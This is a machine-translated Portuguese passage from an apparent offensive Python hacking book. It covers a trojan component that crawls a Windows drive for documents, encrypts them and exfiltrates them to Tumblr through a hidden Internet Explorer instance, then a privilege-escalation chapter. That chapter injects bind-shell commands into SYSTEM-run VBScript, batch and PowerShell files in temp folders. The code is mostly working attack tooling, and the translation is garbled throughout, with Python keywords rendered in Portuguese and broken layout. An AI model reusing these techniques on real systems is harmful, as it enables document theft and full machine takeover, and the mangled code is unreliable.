onde Translated
postar o título by
e oGoogle
corpo da postagem do blog. A função post_to_tumblr recebe apenas uma instância do
navegador e o nome do arquivo criptografado e o conteúdo do arquivo a ser postado. Um pequeno truque (aprendido
observando nas ferramentas de desenvolvedor do Chrome) ÿ é que temos que mudar o foco da parte principal do
conteúdo da postagem para que o JavaScript do Tumblr habilite o botão Postar. É importante anotar esses pequenos
truques sutis ao aplicar essa técnica a outros sites. Agora que podemos fazer login e postar no Tumblr, vamos dar os
retoques finais no nosso script.
def exfiltrate(document_path):

ÿ ie = win32com.client.Dispatch("InternetExplorer.Application") ÿ ie.Visible = 1

# vá para o tumblr e faça o login


ie.Navigate("http://www.tumblr.com/login") wait_for_browser(ie)
print "Logando..." login_to_tumblr(ie) print "Logado...navigating"

ie.Navigate("https://www.tumblr.com/new/text") wait_for_browser(ie)

# criptografa o título do
arquivo,body = encrypt_post(document_path)

print "Criando novo post..."


post_to_tumblr(ie,title,body) print "Postado!"

# destrói a instância do IE ÿ ie.Quit() ie


= None

Retorna

# loop principal para descoberta de documentos


# NOTA: não há guia para a primeira linha de código abaixo
ÿ para pai, diretórios, nomes de arquivo em os.walk("C:\\"):
for filename in fnmatch.filter(filenames,"*%s" % doc_type): document_path =
os.path.join(parent,filename) print "Found: %s" % document_path exfiltrate(document_path)
raw_input("Continue?")

Nossa função exfiltrate é o que chamaremos para cada documento que queremos armazenar no Tumblr. Ele primeiro
cria uma nova instância do objeto COM do Internet Explorer ÿ — e o legal é que você pode definir o processo para
ser visível ou não ÿ. Para depuração, deixe-o definido como 1, mas para máxima discrição, você definitivamente
deseja defini-lo como 0. Isso é realmente útil se, por exemplo, seu trojan detectar outra atividade acontecendo; nesse
caso, você pode começar a exfiltrar documentos, o que pode ajudar a combinar ainda mais suas atividades com as
do usuário. Depois de chamar todas as nossas funções auxiliares, simplesmente matamos nossa instância do IE ÿ e
retornamos. A última parte do nosso script ÿ é responsável por rastrear a unidade C:\ no sistema de destino e tentar
corresponder à nossa extensão de arquivo predefinida (.doc neste caso). Cada vez que um arquivo é encontrado,
simplesmente passamos o caminho completo do arquivo para nossa função exfiltrate .

Agora que temos nosso código principal pronto, precisamos criar um script de geração de chave RSA rápido e sujo,
bem como um script de descriptografia que podemos usar para colar um pedaço de texto criptografado do Tumblr e
recuperar o texto simples. Vamos começar abrindo keygen.py e inserindo o seguinte código:
de Crypto.PublicKey importar RSA

new_key = RSA.generate(2048, e=65537)


Machine
public_keyTranslated by Google
= new_key.publickey().exportKey("PEM") private_key =
new_key.exportKey("PEM") print public_key print private_key

Isso mesmo — o Python é tão foda que podemos fazer isso em poucas linhas de código. Esse bloco de código
gera um par de chaves públicas e privadas. Copie a chave pública em seu script ie_exfil.py . Em seguida, abra
um novo arquivo Python chamado decryptor.py e insira o seguinte código (cole a chave privada na variável
private_key ):
import zlib
import base64
from Crypto.PublicKey import RSA from
Crypto.Cipher import PKCS1_OAEP

private_key = "###PASTE CHAVE PRIVADA AQUI###"

ÿ rsakey = RSA.importKey(private_key) rsakey =


PKCS1_OAEP.new(rsakey)

chunk_size = 256
offset = 0
""
descriptografado
= ÿ criptografado = base64.b64decode(criptografado)

while offset < len(encrypted): ÿ decrypted


+= rsakey.decrypt(encrypted[offset:offset+chunk_size])
deslocamento += tamanho_do_pedaço

# agora descompactamos para o original ÿ


plaintext = zlib.decompress(decrypted)

imprimir texto simples

Perfeito! Simplesmente instanciamos nossa classe RSA com a chave privada ÿ e logo depois decodificamos
em base64 ÿ nosso blob codificado do Tumblr. Assim como nosso loop de codificação, simplesmente pegamos
pedaços de 256 bytes ÿ e os descriptografamos, construindo lentamente nossa string de texto simples original. A
etapa final ÿ é descompactar a carga útil, porque a compactamos anteriormente no outro lado.
Machine Translated by Google
Chutando os pneus Há
muitas partes móveis neste trecho de código, mas é bastante fácil de usar. Simplesmente execute
seu script ie_exfil.py de um host do Windows e espere que ele indique que foi postado com sucesso no
Tumblr. Se você deixou o Internet Explorer visível, deve ter conseguido assistir a todo o processo.
Depois de concluído, você poderá navegar até sua página do Tumblr e ver algo como a Figura 9-1.

Figura 9-1. Nosso nome de arquivo criptografado

Como você pode ver, há um grande blob criptografado, que é o nome do nosso arquivo. Se você rolar
para baixo, verá claramente que o título termina onde a fonte não está mais em negrito. Se você copiar e
colar o título em seu arquivo decryptor.py e executá-lo, deverá ver algo assim:
#:> python decryptor.py C:
\Arquivos de programas\Ferramentas de depuração para Windows (x86)\dml.doc
#:>

Perfeito! Meu script ie_exfil.py pegou um documento do diretório Windows Debugging Tools, carregou o
conteúdo para o Tumblr e posso descriptografar o nome do arquivo com sucesso. Agora, é claro, para fazer
todo o conteúdo do arquivo, você deve automatizá-lo usando os truques que mostrei no Capítulo 5 (usando
urllib2 e HTMLParser), que deixarei como tarefa de casa para você. O outro
Machine
Uma coisaTranslated by Google
a considerar é que em nosso script ie_exfil.py , preenchemos os últimos 256 bytes com o caractere de espaço,
e isso pode quebrar certos formatos de arquivo. Outra ideia para estender o projeto é criptografar um campo de
comprimento no início do conteúdo da postagem do blog que informa o tamanho original do documento antes de você
preenchê-lo. Você pode então ler esse comprimento depois de descriptografar o conteúdo da postagem do blog e cortar o
arquivo para esse tamanho exato.

[20] O pacote Python PyCrypto pode ser instalado em http:// www.voidspace.org.uk/ python/ modules.shtml#pycrypto/.
Machine Translated by Google
Capítulo 10. Escalação de Privilégios do Windows
Então você colocou uma caixa dentro de uma boa e suculenta rede Windows. Talvez você tenha aproveitado um estouro
de heap remoto ou tenha feito phishing para entrar na rede. É hora de começar a procurar maneiras de escalar privilégios.
Se você já é SISTEMA ou Administrador, provavelmente deseja várias maneiras de obter esses privilégios caso um ciclo
de patch elimine seu acesso. Também pode ser importante ter um catálogo de escalonamento de privilégios em seu bolso,
pois algumas empresas executam software que pode ser difícil de analisar em seu próprio ambiente, e você pode não
encontrar esse software até que esteja em uma empresa do tipo mesmo tamanho ou composição. Em uma escalação de
privilégio típica, você explorará um driver mal codificado ou um problema de kernel nativo do Windows, mas se usar uma
exploração de baixa qualidade ou se houver um problema durante a exploração, você corre o risco de instabilidade do
sistema. Vamos explorar alguns outros meios de adquirir privilégios elevados no Windows.

Os administradores de sistema em grandes empresas geralmente têm tarefas ou serviços agendados que executarão
processos filhos ou executarão scripts VBScript ou PowerShell para automatizar tarefas. Os fornecedores também costumam
ter tarefas integradas e automatizadas que se comportam da mesma maneira. Vamos tentar tirar vantagem dos processos
de alto privilégio manipulando arquivos ou executando binários que podem ser escritos por usuários de baixo privilégio.
Existem inúmeras maneiras de tentar aumentar os privilégios no Windows, e abordaremos apenas algumas. No entanto,
quando você entender esses conceitos básicos, poderá expandir seus scripts para começar a explorar outros cantos
escuros e mofados de seus destinos do Windows.

Começaremos aprendendo como aplicar a programação Windows WMI para criar uma interface flexível que monitore a
criação de novos processos. Coletamos dados úteis, como caminhos de arquivo, o usuário que criou o processo e
privilégios habilitados. Nosso monitoramento de processo então transfere todos os caminhos de arquivo para um script de
monitoramento de arquivo que rastreia continuamente todos os novos arquivos criados e o que é gravado neles. Isso nos
diz quais arquivos estão sendo acessados por processos de alto privilégio e a localização do arquivo.
A etapa final é interceptar o processo de criação do arquivo para que possamos injetar código de script e fazer com que
o processo de alto privilégio execute um shell de comando. A beleza de todo esse processo é que ele não envolve
nenhuma conexão de API, portanto, podemos voar sob o radar da maioria dos softwares antivírus.
Machine Translated by Google
Instalando os pré-requisitos Precisamos
instalar algumas bibliotecas para escrever as ferramentas neste capítulo. Se você seguiu as instruções iniciais
do livro, você terá o easy_install pronto para arrasar. Caso contrário, consulte o Capítulo 1 para obter instruções
sobre como instalar o easy_install.

Execute o seguinte em um shell cmd.exe em sua VM do Windows:


C:\> easy_install pywin32 wmi

Se por algum motivo este método de instalação não funcionar para você, baixe o instalador PyWin32
diretamente de http:// sourceforge.net/ projects/ pywin32/.
Em seguida, você desejará instalar o serviço de exemplo que meus revisores técnicos Dan Frisch e Cliff Janzen
escreveram para mim. Esse serviço emula um conjunto comum de vulnerabilidades que descobrimos em grandes
redes corporativas e ajuda a ilustrar o código de exemplo neste capítulo.

1. Baixe o arquivo zip em: http:// www.nostarch.com/ blackhatpython/ bhpservice.zip.


2. Instale o serviço usando o script em lote fornecido, install_service.bat. Certifique-se de estar executando
como administrador ao fazer isso.
Você deve estar pronto para ir, então agora vamos para a parte divertida!
Machine Translated by Google
Criando um Monitor de Processos Participei
de um projeto para a Immunity chamado El Jefe, que é basicamente um sistema de monitoramento de
processos muito simples com registro centralizado (http:// eljefe.immunityinc.com/). A ferramenta foi projetada para
ser usada por pessoas do lado da defesa da segurança para rastrear a criação do processo e a instalação de
malware. Certo dia, durante uma consulta, meu colega de trabalho Mark Wuergler sugeriu que usássemos El Jefe
como um mecanismo leve para monitorar processos executados como SISTEMA em nossas máquinas Windows de d
Isso nos daria informações sobre o manuseio de arquivos potencialmente inseguro ou a criação de processos filhos.
Funcionou e saímos com vários bugs de escalonamento de privilégios que nos deram as chaves do reino.

A principal desvantagem do El Jefe original é que ele usava uma DLL que foi injetada em cada processo para
interceptar chamadas para todas as formas da função nativa CreateProcess . Em seguida, ele usou um pipe
nomeado para se comunicar com o cliente de coleta, que então encaminhou os detalhes da criação do processo
para o servidor de registro. O problema com isso é que a maioria dos softwares antivírus também intercepta as
chamadas CreateProcess , então eles o veem como malware ou você tem problemas de instabilidade do sistema
quando o El Jefe é executado lado a lado com o software antivírus. Vamos recriar algumas das capacidades de
monitoramento de El Jefe de uma maneira sem gancho, que também será voltada para técnicas ofensivas em vez
de monitoramento. Isso deve tornar nosso monitoramento portátil e nos dar a capacidade de executar com software
antivírus ativado sem problemas.
Machine Translated by Google
Monitoramento de processo com WMI A API
WMI dá ao programador a capacidade de monitorar o sistema para determinados eventos e, em seguida,
receber retornos de chamada quando esses eventos ocorrerem. Vamos aproveitar essa interface para
receber um retorno de chamada sempre que um processo for criado. Quando um processo é criado, vamos
capturar algumas informações valiosas para nossos propósitos: a hora em que o processo foi criado, o usuário
que gerou o processo, o executável que foi iniciado e seus argumentos de linha de comando, o ID do processo
e o ID do processo pai. Isso nos mostrará todos os processos criados por contas com privilégios mais altos e, em
particular, todos os processos que estão chamando arquivos externos, como VBScript ou scripts em lote. Quando
tivermos todas essas informações, também determinaremos quais privilégios estão habilitados nos tokens de proce
Em alguns casos raros, você encontrará processos criados como um usuário regular, mas que receberam
privilégios adicionais do Windows que você pode aproveitar.

Vamos começar criando um script de monitoramento muito simples [21] que fornece as informações
básicas do processo e, em seguida, desenvolver isso para determinar os privilégios ativados. Observe que, para
capturar informações sobre processos de alto privilégio criados por SYSTEM, por exemplo, você precisará executar
seu script de monitoramento como Administrador. Vamos começar adicionando o seguinte código a
process_monitor.py:
importar win32con
importar win32api
importar win32security

importar wmi importar

sistema importar

sistema operacional

def log_to_file(mensagem): fd =
open("process_monitor_log.csv", "ab") fd.write("%s\r\n" %
mensagem) fd.close()

Retorna

# cria um cabeçalho de arquivo de log


log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

# instancia a interface WMI


ÿ c = wmi.WMI()

# crie nosso monitor de processo


ÿ process_watcher = c.Win32_Process.watch_for("criação")

enquanto verdadeiro:

experimentar:

ÿ novo_processo = process_watcher()

ÿ proc_owner = new_process.GetOwner() proc_owner =


"%s\\%s" % (proc_owner[0],proc_owner[2]) create_date = new_process.CreationDate
executável = new_process.ExecutablePath cmdline = new_process.CommandLine =
new_process.ProcessId

pid
parent_pid = new_process.ParentProcessId

privilégios = "N/A"

process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_date,


Machine Translated by Google
proc_owner, executável, cmdline, pid, parent_pid, privilégios)

imprimir process_log_message

log_to_file(process_log_message)

exceto:
passar

Começamos instanciando a classe WMI ÿ e, em seguida, informando-a para observar o evento de criação do
processo ÿ. Ao ler a documentação do Python WMI, aprendemos que você pode monitorar eventos de criação
ou exclusão de processos. Se você decidir monitorar de perto os eventos do processo, poderá usar a operação
e ela o notificará sobre todos os eventos pelos quais um processo passa. Em seguida, entramos em um loop e
o loop é bloqueado até que process_watcher retorne um novo evento de processo ÿ. O novo evento de processo
classe WMI chamada Win32_Process depois. [22]
Umaquedas
contém todas
funções de as informações
classe relevantes
é GetOwner, que somosdeé ÿuma
que chamamos para
determinar quem gerou o processo e, a partir daí, coletamos todas as informações do processo que estamos
procurando, exibimos na tela e as registramos em um arquivo.
Machine Translated by Google
Chutando os pneus
Vamos iniciar nosso script de monitoramento de processo e, em seguida, criar alguns processos para
ver como é a saída.

C:\> python process_monitor.py

20130907115227.048683-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\notepad.exe,"C:
\WINDOWS\system32\notepad.exe" ,740,508,N/A

20130907115237.095300-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\ calc.exe,"C:
\WINDOWS\system32\calc.exe" ,2920,508,N/A

Depois de executar o script, executei notepad.exe e calc.exe. Você pode ver as informações sendo geradas
corretamente e observar que ambos os processos tinham o PID pai definido como 508, que é o ID do processo
explorer.exe em minha VM. Agora você pode fazer uma pausa prolongada e deixar esse script rodar por um dia
e ver todos os processos, tarefas agendadas e vários atualizadores de software em execução. Você também pode
detectar malware se tiver (a) sorte. Também é útil fazer logout e login novamente em seu destino, pois os eventos
gerados por essas ações podem indicar processos privilegiados. Agora que temos o monitoramento básico do
processo, vamos preencher o campo de privilégios em nosso registro e aprender um pouco sobre como os
privilégios do Windows funcionam e por que eles são importantes.
Machine Translated by Google
Privilégios de token do Windows Um token
do Windows é, de acordo com a Microsoft: “um objeto que descreve o contexto de segurança de um processo
ou thread”. [23] Como um token é inicializado e quais permissões e privilégios são definidos em um token
determinam quais tarefas esse processo ou thread pode executar. Um desenvolvedor bem-intencionado pode ter
um aplicativo na bandeja do sistema como parte de um produto de segurança, ao qual gostaria de permitir que
um usuário não privilegiado controle o serviço principal do Windows, que é um driver. O desenvolvedor usa a
função de API nativa do Windows AdjustTokenPrivileges no processo e inocentemente concede ao aplicativo da
bandeja do sistema o privilégio SeLoadDriver . O que o desenvolvedor não está pensando é no fato de que, se
você pode entrar no aplicativo da bandeja do sistema, agora também pode carregar ou descarregar qualquer
driver que desejar, o que significa que você pode descartar um rootkit no modo kernel - e isso significa que o jogo
sobre.
Lembre-se de que, se você não puder executar o monitor de processo como SISTEMA ou usuário administrativo,
precisará ficar de olho em quais processos pode monitorar e ver se há privilégios adicionais que você pode
aproveitar . Um processo executado como seu usuário com os privilégios errados é uma maneira fantástica de
acessar o SYSTEM ou executar o código no kernel. Privilégios interessantes que sempre procuro estão listados
na Tabela 10-1. Não é exaustivo, mas serve como um bom ponto de partida. [24]

Tabela 10-1. Privilégios interessantes

Nome do privilégio Acesso concedido

SeBackupPrivilege Isso permite que o processo do usuário faça backup de arquivos e diretórios e concede acesso READ aos arquivos, não importa o que
sua ACL define.

SeDebugPrivilege Isso permite que o processo do usuário depure outros processos. Isso também inclui a obtenção de alças de processo para injetar
DLLs ou código em processos em execução.

SeLoadDriver Isso permite que um processo de usuário carregue ou descarregue drivers.

Agora que temos os fundamentos do que são privilégios e quais privilégios procurar, vamos aproveitar o
Python para recuperar automaticamente os privilégios ativados nos processos que estamos monitorando.
Faremos uso dos módulos win32security , win32api e win32con . Se você encontrar uma situação em
que não pode carregar esses módulos, todas as funções a seguir podem ser traduzidas em chamadas
nativas usando a biblioteca ctypes; é apenas muito mais trabalho. Adicione o seguinte código a
process_monitor.py diretamente acima de nossa função log_to_file existente :
def get_process_privileges(pid): tente:

# obtenha um identificador para o processo de


ÿ destino hproc =
win32api.OpenProcess(win32con.PROCESS_QUERY_information,False,pid)

# abra o token do processo principal


ÿ htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)

# recupera a lista de privilégios habilitados privs =


ÿ win32security.GetTokenInformation(htok, win32security.
Privilégios de Token)

# iterar sobre privilégios e mostrar os que estão ativados priv_list = for i in privs: # verificar
""
se o privilégio está ativado
Machine
ÿ Translated
if i[1]by
==Google
3: priv_list
ÿ += "%s|" % win32security.
LookupPrivilegeName(Nenhum,i[0])
exceto:
lista_priv = "N/A"

return lista_privada

Usamos o ID do processo para obter um identificador para o processo de destino ÿ. Em seguida, abrimos o token do
processo ÿ e solicitamos as informações do token desse processo ÿ. Ao enviar a estrutura win32security.TokenPrivileges ,
estamos instruindo a chamada da API a devolver todas as informações de privilégio desse processo. A chamada de função
retorna uma lista de tuplas, onde o primeiro membro da tupla é o privilégio e o segundo membro descreve se o privilégio está
habilitado ou não. Como estamos preocupados apenas com os privilégios habilitados, primeiro verificamos os bits habilitados ÿ
e, em seguida, procuramos o nome legível para esse privilégio ÿ.

Em seguida, modificaremos nosso código existente para que estejamos exibindo e registrando corretamente essas informações.
Altere a seguinte linha de código disso:

privilégios = "N/A"

ao seguinte:

privilégios = get_process_privileges(pid)

Agora que adicionamos nosso código de rastreamento de privilégio, vamos executar novamente o script process_monitor.py
e verificar a saída. Você deve ver as informações de privilégio conforme mostrado na saída abaixo:

C:\> python.exe process_monitor.py


20130907233506.055054-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\ notepad.exe,"C:
\WINDOWS\system32\notepad.exe" ,660,508,SeChangeNotifyPrivilege |SeImpersonatePrivilege| SeCriarPrivilégioGlobal|

20130907233515.914176-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\ calc.exe,"C:
\WINDOWS\system32\calc.exe" ,1004,508,SeChangeNotifyPrivilege| SeImpersonatePrivilege|SeCreateGlobalPrivilege|

Você pode ver que estamos registrando corretamente os privilégios ativados para esses processos. Poderíamos facilmente
colocar alguma inteligência no script para registrar apenas os processos executados como um usuário sem privilégios, mas com
privilégios interessantes ativados. Veremos como esse uso do monitoramento de processos nos permitirá encontrar processos
que estão utilizando arquivos externos de forma insegura.
Machine Translated by Google
Vencendo a corrida Os
scripts de lote, VBScript e scripts do PowerShell facilitam a vida dos administradores de sistema ao
automatizar tarefas monótonas. Sua finalidade pode variar de registrar continuamente em um serviço de
inventário central para forçar atualizações de software de seus próprios repositórios. Um problema comum é a
falta de ACLs adequadas nesses arquivos de script. Em vários casos, em servidores seguros, encontrei scripts
em lote ou scripts do PowerShell que são executados uma vez por dia pelo usuário SYSTEM enquanto são
graváveis globalmente por qualquer usuário.

Se você executar seu monitor de processo por tempo suficiente em uma empresa (ou simplesmente instalar
o serviço de exemplo fornecido no início deste capítulo), poderá ver registros de processo semelhantes a este:
20130907233515.914176-300,NT AUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript. exe, C:
\WINDOWS\system32\cscript.exe /nologo "C:\WINDOWS\Temp\azndldsddfggg.
vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal Privilege|

Você pode ver que um processo SYSTEM gerou o binário cscript.exe e passou no parâmetro C:
\WINDOWS\Temp\andldsddfggg.vbs . O serviço de exemplo fornecido deve gerar esses eventos uma vez por
minuto. Se você fizer uma listagem de diretórios, não verá este arquivo presente. O que está acontecendo é que
o serviço está criando um nome de arquivo aleatório, colocando o VBScript no arquivo e, em seguida, executando
esse VBScript. Já vi essa ação executada por software comercial em vários casos e já vi software que copia
arquivos para um local temporário, executa e depois exclui esses arquivos.

Para explorar essa condição, temos que efetivamente vencer uma corrida contra o código em execução. Quando o
software ou a tarefa agendada cria o arquivo, precisamos ser capazes de injetar nosso próprio código no arquivo
antes que o processo o execute e, por fim, o exclua. O truque para isso é a útil API do Windows chamada
ReadDirectoryChangesW, que nos permite monitorar um diretório em busca de alterações em arquivos ou
subdiretórios. Também podemos filtrar esses eventos para que possamos determinar quando o arquivo foi “salvo”
para que possamos injetar rapidamente nosso código antes de ser executado. Pode ser incrivelmente útil
simplesmente ficar de olho em todos os diretórios temporários por um período de 24 horas ou mais, porque às vezes
você encontrará bugs interessantes ou divulgações de informações além de possíveis escalações de privilégios.

Vamos começar criando um monitor de arquivo e, em seguida, desenvolveremos isso para injetar código
automaticamente. Crie um novo arquivo chamado file_monitor.py e defina o seguinte:
# Exemplo modificado originalmente fornecido aqui: # http://
timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes. html

import tempfile import


threading import
win32file import
win32con import os #
estes são os diretórios
de arquivos temporários comuns
ÿ dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]

# constantes de modificação de arquivo


FILE_CREATED =1
FILE_DELETED =2
FILE_MODIFIED =3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

def start_monitor(path_to_watch):
Machine Translated by Google
# criamos um thread para cada execução de monitoramento
FILE_LIST_DIRECTORY = 0x0001

ÿ h_directory = win32file.CreateFile( path_to_watch,


FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ |
win32con.FILE_SHARE_WRITE | win32con.FILE_ SHARE_DELETE, Nenhum, win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS, Nenhum)

enquanto 1:
experimentar:

ÿ resultados = win32file.ReadDirectoryChangesW(
h_directory, 1024,

Verdadeiro, win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_SIZE |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY, Nenhum,

Nenhum

ÿ para ação, file_name nos resultados: full_filename


= os.path.join(path_to_watch, file_name)

if action == FILE_CREATED: print "[ + ]


Criado %s" % full_filename elif action == FILE_DELETED: print
"[ - ] Deletado %s" % full_filename elif action == FILE_MODIFIED: print
"[ * ] Modificado %s" % full_filename

# descarregar o conteúdo do arquivo print


"[vvv] Descarregando o conteúdo..."
ÿ tente:
fd = open(full_filename,"rb") content = fd.read()

fd.close()
print content print "[^^^]
Despejo completo."
exceto:
print "[!!!] Falhou."

elif action == FILE_RENAMED_FROM: print "[ > ]


Renomeado de: %s" % full_filename elif action == FILE_RENAMED_TO:
print "[ < ] Renomeado para: %s" % full_filename else:

print "[???] Desconhecido: %s" % full_filename


exceto:
passar

para caminho em dirs_to_monitor:


monitor_thread = threading.Thread(target=start_monitor,args=(path,)) print "Encadeamento de monitoramento
de geração para caminho: %s" % caminho monitor_thread.start()

Definimos uma lista de diretórios que gostaríamos de monitorar ÿ, que em nosso caso são os dois diretórios comuns
de arquivos temporários. Lembre-se de que pode haver outros lugares nos quais você deseja ficar de olho; portanto,
edite esta lista como achar melhor. Para cada um desses caminhos, criaremos um thread de monitoramento que chama o
Machine
função Translated by Google
start_monitor . A primeira tarefa desta função é adquirir um identificador para o diretório que
desejamos monitorar ÿ. Em seguida, chamamos a função ReadDirectoryChangesW ÿ, que nos notifica
quando ocorre uma alteração. Recebemos o nome do arquivo de destino que foi alterado e o tipo de evento
ocorrido ÿ. A partir daqui, imprimimos informações úteis sobre o que aconteceu com esse arquivo específico
e, se detectarmos que ele foi modificado, despejamos o conteúdo do arquivo para referência ÿ.
Machine Translated by Google
Chutando os pneus Abra
um shell cmd.exe e execute file_monitor.py:
C:\> python.exe file_monitor.py

Abra um segundo shell cmd.exe e execute os seguintes comandos:


C:\> cd %temp%
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> echo hello > filetest
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> renomear filetest file2test
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> del file2test

Você deve ver uma saída semelhante à seguinte:


Gerando thread de monitoramento para o caminho: C:\WINDOWS\Temp
Gerando thread de monitoramento para o caminho: c:\docume~1\admini~1\locals~1\temp [ + ] Criado c:
\docume~1\admini~1\locals ~1\temp\filetest [ * ] Modificado c:\docume~1\admini~1\locals~1\temp\filetest [vvv]
Despejando conteúdo...

olá

[^^^] Despejo concluído.


[ > ] Renomeado de: c:\docume~1\admini~1\locals~1\temp\filetest [ < ] Renomeado para: c:
\docume~1\admini~1\locals~1\temp\file2test [ * ] Modificado c:
\docume~1\admini~1\locals~1\temp\file2test [vvv] Despejando conteúdo... olá

[^^^] Despejo concluído.


[-] Excluído c:\docume~1\admini~1\locals~1\temp\FILE2T~1

Se todos os itens acima funcionaram conforme o planejado, encorajo você a manter seu monitor de arquivos em execução por 24
horas em um sistema de destino. Você pode se surpreender (ou não) ao ver arquivos sendo criados, executados e excluídos. Você
também pode usar seu script de monitoramento de processo para tentar encontrar caminhos de arquivo interessantes para monitorar
também. As atualizações de software podem ser de particular interesse. Vamos seguir em frente e adicionar a capacidade de injetar
código automaticamente em um arquivo de destino.
Machine Translated by Google
Injeção de código Agora

que podemos monitorar processos e locais de arquivo, vamos dar uma olhada na capacidade de injetar código
automaticamente em arquivos de destino. As linguagens de script mais comuns que vi empregadas são VBScript, arquivos
em lote e PowerShell. Criaremos trechos de código muito simples que geram uma versão compilada de nossa ferramenta
bhpnet.py com o nível de privilégio do serviço de origem. Há uma vasta gama de coisas desagradáveis que você pode fazer
com essas linguagens de script; [25] criaremos a estrutura geral para fazer isso, e você pode correr solto a partir daí. Vamos
modificar nosso script file_monitor.py e adicionar o seguinte código após as constantes de modificação do arquivo:

ÿ tipos_de_arquivo = {}

command = "C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c" file_types['.vbs'] =


["\r\n'bhpmarker\r\n","\r\ nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % comando]

file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % comando]

file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n" % command]

# função para lidar com a injeção de código def


inject_code(full_filename,extension,contents):

# nosso marcador já está no arquivo? ÿ se


file_types[extension][0] no conteúdo:
Retorna

# sem marcador; vamos injetar o marcador e o código full_contents =


file_types[extension][0] full_contents += file_types[extension][1]
full_contents += content

ÿ fd = open(full_filename,"wb") fd.write(full_contents)
fd.close()

print "[\o/] Código injetado."

Retorna

Começamos definindo um dicionário de trechos de código que correspondem a uma determinada extensão de
arquivo ÿ que inclui um marcador exclusivo e o código que queremos injetar. A razão pela qual usamos um marcador é
porque podemos entrar em um loop infinito no qual vemos uma modificação de arquivo, inserimos nosso código (que
causa um evento subsequente de modificação de arquivo) e assim por diante. Isso continua até que o arquivo fique
gigantesco e o disco rígido comece a chorar. A próxima parte do código é nossa função inject_code que lida com a injeção
de código real e a verificação do marcador de arquivo. Depois de verificarmos que o marcador não existe ÿ, escrevemos
o marcador e o código que queremos que o processo de destino execute ÿ. Agora precisamos modificar nosso loop de
evento principal para incluir nossa verificação de extensão de arquivo e a chamada para inject_code.

--recorte--
elif action == FILE_MODIFIED: print "[*]
Modified %s" % full_filename

# descarregar o conteúdo do arquivo print


"[vvv] Descarregando o conteúdo..."

tente:
fd = open(full_filename,"rb") content = fd.read()
fd.close()
Machine Translated by Googleprint content print
"[^^^] Despejo completo."
exceto:
print "[!!!] Falhou."
#### NOVO CÓDIGO COMEÇA AQUI
ÿ filename,extension = os.path.splitext(full_filename)

ÿ se extensão em file_types:
inject_code(full_filename,extensão,conteúdo)
#### FIM DO NOVO CÓDIGO --
snip--

Esta é uma adição bastante direta ao nosso loop primário. Fazemos uma divisão rápida da extensão do arquivo ÿ e,
em seguida, verificamos em nosso dicionário de tipos de arquivos conhecidos ÿ. Se a extensão do arquivo for
detectada em nosso dicionário, chamamos nossa função inject_code . Vamos dar uma volta.
Machine Translated by Google
Chutando os pneus Se você

instalou o exemplo de serviço vulnerável no início deste capítulo, você pode facilmente testar seu novo e sofisticado
injetor de código. Certifique-se de que o serviço esteja em execução e simplesmente execute seu script file_monitor.py .
Eventualmente, você deve ver a saída indicando que um arquivo .vbs foi criado e modificado e que o código foi injetado.
Se tudo correr bem, você poderá executar o script bhpnet.py do Capítulo 2 para conectar o ouvinte que acabou de
gerar. Para garantir que sua escalação de privilégio funcionou, conecte-se ao ouvinte e verifique com qual usuário você
está executando.
justin$ ./bhpnet.py -t 192.168.1.10 -p 9999 <CTRL-D>

<BHP:#> whoami
AUTORIDADE NT\SISTEMA
<BHP:#>

Isso indicará que você alcançou a sagrada conta SYSTEM e que sua injeção de código funcionou.

Você pode ter chegado ao final deste capítulo pensando que alguns desses ataques são um pouco esotéricos. Porém,
quanto mais tempo você passar dentro de uma grande empresa, mais perceberá que esses ataques são bastante viáveis.
As ferramentas neste capítulo podem ser facilmente expandidas ou transformadas em scripts especializados únicos que
você pode usar em casos específicos para comprometer uma conta ou aplicativo local. O WMI sozinho pode ser uma
excelente fonte de dados de reconhecimento local que você pode usar para promover um ataque quando estiver dentro de
uma rede. A escalação de privilégios é uma peça essencial para qualquer bom trojan.

[21] Este código foi adaptado da página Python WMI (http:// timgolden.me.uk/ python/ wmi/ tutorial.html).

